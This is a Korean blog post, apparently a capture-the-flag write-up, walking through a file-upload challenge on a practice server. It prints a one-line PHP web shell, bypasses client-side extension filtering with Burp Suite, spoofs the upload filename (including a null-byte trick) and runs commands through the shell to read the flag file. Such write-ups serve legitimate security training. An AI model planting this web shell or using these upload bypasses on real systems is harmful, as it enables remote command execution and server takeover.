본문 바로가기
웹 해킹

Web Shell 2 (파일업로드 문제 2)

by kk-nic 2024. 7. 25.

문제

 

 

회원가입 진행

아이디 : as

비밀번호 : as 

 

공격 파일 생성 

웹 쉘 생성 

텍스트파일 생성

<?php
	echo system($_GET['cmd']);
?>

확인 후 파일명 test.php 변경(확장자까지 변경)

 

 

공격 시작

게시판에 업로드 기능 구현 되어있는 것 확인.

생성 한 test.php 를 업로드 해보자.

test.php 업로드

파일 올려놓고, create 클릭 해보자.

 

alert

create 버튼 클릭 하자마자, 자바스크립트의 alert 함수가 리턴이 되는 것을 확인.

 

자바스크립트로 확장자가 필터링 되는지 확인해보자.

게시판 - 글쓰기 버튼 클릭(누르기 전에 burp suite 로 요청 잡기) 

burp suite - Proxy - Intercept - Intercept is off  로 요청/응답 잡아보자.

 

글쓰기 페이지 응답

글쓰기 요청 후 리스폰스를 확인해보니, 자바스크립트로 확장자가 필터링 되는 것이 확인이 된다.

더보기
<script type="text/javascript">
	function checkFileExtension(fileName) {
		var reg = /(.*?)\\.(jpg|jpeg|png|gif|bmp|txt)$/;  // 파일명에서 확장자를 추출하는 정규식
		var allowedExtensions = /(\\.jpg|\\.jpeg|\\.png|\\.gif)$/i;  // 허용된 확장자들을 검증하는 정규식

		if (fileName == "") {
			return true;  // 파일명이 비어있으면 통과
		}
		if (!allowedExtensions.test(fileName)) {  // 파일명이 허용된 확장자 패턴과 매치되지 않으면
			alert('업로드할 수 없는 확장자의 파일입니다.');
			writeFrm.upload_file.value = '';  // 파일 업로드 필드 초기화
			return false;  // 업로드 금지
		} else {
			return true;  // 허용된 확장자이므로 통과
		}
		return true;  // 예기치 않은 상황에 대비해 기본적으로 통과
	}
</script>

 

 

 

그러면? 

버프 스위트에서 글쓰기 페이지를 요청을 하고 리턴으로 리스폰스 페이지를 받을 떄 

위의 스크립트를 한번 지워볼까?

 

burp suite - Proxy - Intercept - Intercept is off 

글쓰기 페이지 요청(게시판에서 글쓰기 버튼 클릭)

->리퀘스트 요청 라인 참고 : GET /webshell_2/notice_write.php HTTP/1.1 

글쓰기 페이지 요청 후 리스폰스

삭제 후 Forward 클릭하여 정상적으로 페이지를 받아오는지 확인해보자.

 

자바스크립트 코드가 없어진 상태에서 잘 받아서 동작한다.

 

그럼 여기에 test.php가 올라가는지 확인해보자. 

파일선택 - tset.php - 확인 - create 클릭 

정상적으로 버프 스위트에서 서버쪽으로 리퀘스트가 가는걸 확인 가능하다.

게시판 페이지인 notice_write.php 에서만 자바스크립트로 확장자 필터링을 하는거면?

이대로 보내도, 정상 등록 될 것이다.

 

하지만 현재 요청 하고있는 notice_write_process.php 파일에서도 확장자 필터링을

하고 있다면 등록이 안될 것 같다.

 

한번 보내보자.

글 작성에는 성공했지만, 확장자가 필터링 되었다. ( notice_write_process.php 파일에서 필터링 )

 

alert 두번 발생...

 

작성은 됬다고 하니, 게시판글이 어떻게 표시 되는지 한번 확인해보자.

업로드 기능이 사라지고, 게시판 글만 남았다.

 

음.. 그러면 요청 데이터에서 

filename="test.php"

를 뒤에 확장자를 바꿔볼까? 

filename="test.jpg" 

로 변경해서 업로드를 해보자.

 

변경 후 Forward

업로드 성공!

 

성공했으니, 업로드한 게시글을 들어가서 서버에 등록 된 경로를 찾아야한다.

 

Download 버튼의 마우스를 올려놓으면 좌측하단의 업로드된 URL 경로가 나오고 

Download 버튼 - 마우스 우클릭 - 링크 주소 복사 를 통해서 URL을 획득 할 수 있다.

 

문제는 test.jpg 로올렸기때문에 

URL도 test.jpg 로 표시 된다.

 

하지만 실제 올라간 파일은 확장자가 .php 이기떄문에 

복사한 URL 에서 확장자를 .php 로 바꿔서 공격을 해보자.

 

변경전 URL

http://ctf.segfaulthub.com:7979/webshell_2/files/as/test.jpg 

 

변경후 URL

http://ctf.segfaulthub.com:7979/webshell_2/files/as/test.php

 

변경전 URL로 요청을 한번 해보자.

이렇게 없는 이미지로 요청이 됨.

 

변경 후 URL을 통해서 공격 (test.php)

해당 서버의 id 명령어가 먹힌다.

그럼 이제 이 서버의 flag.txt 파일을 찾아야 한다.

 

find / -name flag.txt  으로 검색해서 찾아보자.

경로 찾았다.

/app/webshell_2/secret_file/flag.txt

 

cat /app/webshell_2/secret_file/flag.txt 명령 

플래그 획득 성공!! 

 

 

 

또다른 공격 성공 사례 (널바이트 사용)

notice_write.php 에서 실행되어 클라이언트로 오는 리스폰스 데이터에서 

자바스크립트를 지우고 글쓰기 페이지를 받는 것은 위와 같다. 

 

글쓰기 페이지 - test.php 파일을 업로드 - create - notice_write_precess.php 로 요청하는 데이터에서 

filename 의 값을 test1.php%00.jpg 로 변경 해보자.

정상적으로 글이 작성 되었다.

 

그러면 업로드된 경로는 

http://ctf.segfaulthub.com:7979/webshell_2/files/as/test.php%00.jpg 

도 획득이 되는데,

 

http://ctf.segfaulthub.com:7979/webshell_2/files/as/test.php?cmd=id

로 공격을 해보면, 정상적으로 공격이 성공 한다.

 

 

 

 

 

'웹 해킹' 카테고리의 다른 글

Web Shell 3 (파일업로드 문제 3)  (0) 2024.07.25
Web Shell 1 (파일업로드 문제 1)  (0) 2024.07.25
파일 업로드 공격  (0) 2024.07.25
SOP / CORS  (0) 2024.07.25
CSRF  (0) 2024.07.25